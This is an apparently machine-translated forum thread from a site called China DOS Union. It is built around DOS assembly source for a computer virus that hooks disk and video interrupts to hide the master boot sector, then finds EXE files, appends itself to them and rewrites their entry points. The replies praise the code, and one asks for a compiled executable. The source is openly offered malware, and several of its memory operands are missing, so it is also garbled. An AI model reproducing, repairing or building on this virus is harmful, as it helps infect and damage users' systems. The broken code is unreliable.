China DOS Union

```asm
SM PROC ;|---;Function of subroutine SM:
MOV AX,DS: ;| ;Save interrupt 10H, 13H respectively
MOV DS:,AX ;| ;To 85H, 86H, and modify 10H, 13H
MOV AX,DS: ;| ;Point to the new interrupt part
MOV DS:,AX ;|
;|
MOV AX,DS: ;|
MOV DS:,AX ;|
MOV AX,DS: ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW10H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW13H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
RET ;|
SM ENDP ;|


NEW10H:CMP AH,00 ;|-;Function of new interrupt 10H:
JZ N1 ;| ;Check if function 00H is called
INT 85H ;| ;Yes->Load the main code into memory
IRET ;| ; And execute
N1: PUSH AX ;| ;No->Call the original interrupt 10H
PUSH BX ;|
PUSH CX ;|
PUSH DX ;|
PUSH DS ;|
PUSH ES ;|
;|
MOV AX,8000H ;|
MOV ES,AX ;|
;|
MOV AX,0202H ;|
XOR BX,BX ;|
MOV CX,0002H ;|
MOV DX,0080H ;|
INT 13H ;|
;|
MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
JMP DWORD PTR CS:


NEW13HUSHF ;|----------------------;Function of new interrupt 13H:
CMP CX,0001H ;| ;Check if reading the main boot sector
JNZ NGW ;| ;Yes->Read sector 4 of track 0, side 0
CMP AH,02H ;| ;No->Call the original interrupt 13H
JNZ NGW ;|
CMP DX,0080H ;|
JNZ NGW ;|
;|
MOV CX,0017H ;|
NGW: POPF ;|
INT 86H ;|
IRET ;|

;** PART 4:Infection part ******************************************************


MAIN: MOV AX,CS
MOV ES,AX
MOV DS,AX

MOV AH,1AH ;|
MOV DX,OFFSET DTA ;|-----------------;Set DTA (disk transfer address)
INT 21H ;|

MOV AH,4EH ;|
JMP DIR ;|
SDIR: MOV AH,4FH ;|
MOV DX,OFFSET FNEXE ;|---------------;Search for the first EXE file in the current directory
MOV CX,100111B ;| ;Found->Continue
INT 21H ;| ;Not found->Jump to HW
JC HW ;|


CMP DS:,BYTE PTR 77 ;| ;Check if already infected
JZ SDIR ;| ;Yes->Search for the next EXE file
MOV CX,DS: ;| ; Until found or the directory is searched
CMP CX,09H ;|----------; End
JNB SDIR ;| ;No->Implement infection
;| ;Note: If the file is already infected or the text
CALL GR ;| ; length exceeds 90000H, it will not be infected.
HW: POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
INT 85H ;|---------------------------;Execute the original interrupt 10H
IRET


GR PROC ;|------------------------------;Function of subroutine GR:
;Infect EXE files


MOV DX,OFFSET FN ;|
MOV AX,4301H ;|-----------------;Set file attribute to: normal
MOV CX,100000B ;|
INT 21H ;|


MOV AX,3D02H
INT 21H ;|-----------------;Open file
MOV BX,AX


MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,8H ;|
INT 21H ;|--------------;Read the header section length of the file
MOV AH,3FH ;|
MOV CX,2H ;|
MOV DX,OFFSET H_EXE ;|
INT 21H ;|


MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|---------------;Save the initial value of CS:IP of the original file
MOV AH,3FH ;| ;
MOV CX,4H ;|
MOV DX,OFFSET B_IP ;|
INT 21H ;|


MOV AX,4202H ;|
XOR CX,CX ;|
XOR DX,DX ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
MOV CX,10H ;| ;Make the length of the original file a multiple of 10H, aiming to enable itself
DIV CX ;|-----------------;To run in the environment of CS:00
INC AX ;| ;
SUB AX,DS: ;|
MOV DS:,AX ;|
SUB CX,DX ;|
PUSH CX ;|
MOV AH,40H ;|
INT 21H ;|


MOV AH,40H ;|
MOV CX,OFFSET P_SIZE ;|--------------;Append itself to the end of the file
XOR DX,DX ;|
INT 21H ;|


MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,02H ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
POP CX ;|
ADC AX,CX ;| ;Convert the new file length into
JNC NC1 ;| ;(page length + number of bytes in the last sector)
INC DX ;|-----------;Form and write this result into the EXE file header
NC1: ADC AX,OFFSET P_SIZE ;| ;
JNC NC2 ;|
INC DX ;|
NC2: MOV CX,200H ;|
DIV CX ;|
INC AX ;|
MOV DS:,DX ;|
MOV DS:,AX ;|
MOV DX,OFFSET B_EXE ;|
MOV CX,4H ;|
MOV AH,40H ;|
INT 21H ;|


MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|-------------;Write the calculated new initial value of CS:IP into the EXE file header
MOV AH,40H ;| ;
MOV CX,4H ;|
MOV DX,OFFSET N_IP ;|
INT 21H ;|


MOV AX,5701H ;|
MOV CH,DS: ;| ;Change back the file modification date and mark the infected flag
MOV CL,77 ;|----------------;
MOV DX,DS: ;|
INT 21H ;|


MOV AH,3EH ;|---------------------;Close file
INT 21H ;|


MOV DX,OFFSET FN ;|
MOV AX,4301H ;|
XOR CH,CH ;|---------------;Change back the file attribute
MOV CL,DS: ;|
INT 21H ;|
RET ;|


GR ENDP
;|---------------;The format of DTA (disk transfer address) is as follows:
DTA DB 21 DUP(0) ;|---------------;DOS function 4FH will use these bytes
C DB 0 ;|---------------;File attribute
T_L DB 0 ;|---------------;Low byte of file time
T_H DB 0 ;|---------------;High byte of file time
D DW 0 ;|---------------;File date
S_L DW 0 ;|---------------;Low byte of file length
S_H DW 0 ;|---------------;High byte of file length
FN DB 13 DUP(0) ;|---------------;Full name of the file

P_SIZE:


CSEG ENDS
END START
```

Are these characters just typed randomly by you? Let me take a look at your streamlined Win 98!

The following is a quote from Red Rhapsody on 2003-5-2 16:31:24:
Are these characters something you just randomly typed? Let me see your slimmed-down Win 98!

You're right, let's first take out your slimmed-down Win 98!!

You are all assembly experts! Is there any ready-made executable file uploaded?

Sofa``Red is not good, let's do black```Hehe```

Admire. Some people may think they are great and look down on the owner's things. In fact, they think this is too classic. It's easy to talk but hard to do. Those who don't believe can try to make one themselves

So powerful yet not learned yet?